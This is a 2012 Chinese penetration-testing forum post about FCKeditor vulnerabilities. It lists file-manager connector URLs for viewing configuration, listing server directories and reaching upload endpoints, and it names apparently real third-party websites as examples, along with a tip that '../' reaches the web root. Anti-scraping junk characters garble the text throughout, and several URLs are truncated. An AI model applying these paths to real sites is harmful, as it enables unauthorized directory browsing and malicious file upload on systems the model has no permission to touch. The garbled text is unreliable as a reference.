中国网络渗透测试联盟

标题: fckeditor漏洞 [打印本页]
作者: admin    时间: 2012-9-13 17:02
标题: fckeditor漏洞
$ j& ~. v2 Z' V
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/asp/connector.asp
/ H* h' r4 f, |http://www.china-photo-model.com ... aspx/connector.aspx
! D6 J# k, |. z6 R! n& n( Z' X- J/ N& E6 S# W

9 ?! @' X+ V8 R4 o! p% W- s1 ~http://yeni.kadikoy.bel.tr/globa ... ctors/jsp/connector) Q0 q; V7 E1 d& L' b
4 a1 a/ z, q( {2 S6 B- ^2 t

- |! ~* z$ b4 W& `5 I1 I  i/ ]0 Q7 W6 K2 ^9 C: B- m% E, ~+ x
7 H$ U$ r, y. O1 G9 y" `0 V

. a8 c! q/ {; `7 ?$ j; o2 c, l查看配置和列出目录下的文件." L$ R, T6 A$ x- p% j  J2 @! V& @

- M* H) `" r' c) b! e4 l0 v
& E4 D( i+ o% w4 r$ `# d5 C6 J4 phttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
: ?: @; K0 p# `4 ^9 p$ |- [http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F- O2 M& f! k: ?' I, Y
: f+ I# r3 h. }2 k
上传地址:
- c; f* {* m( h$ }9 K
( m) u7 m; J( i3 c( Y0 b- m1 Zhttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F$ [8 R* l! C+ k( K0 u' _1 ]: S, |
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector    ../为根目录



欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2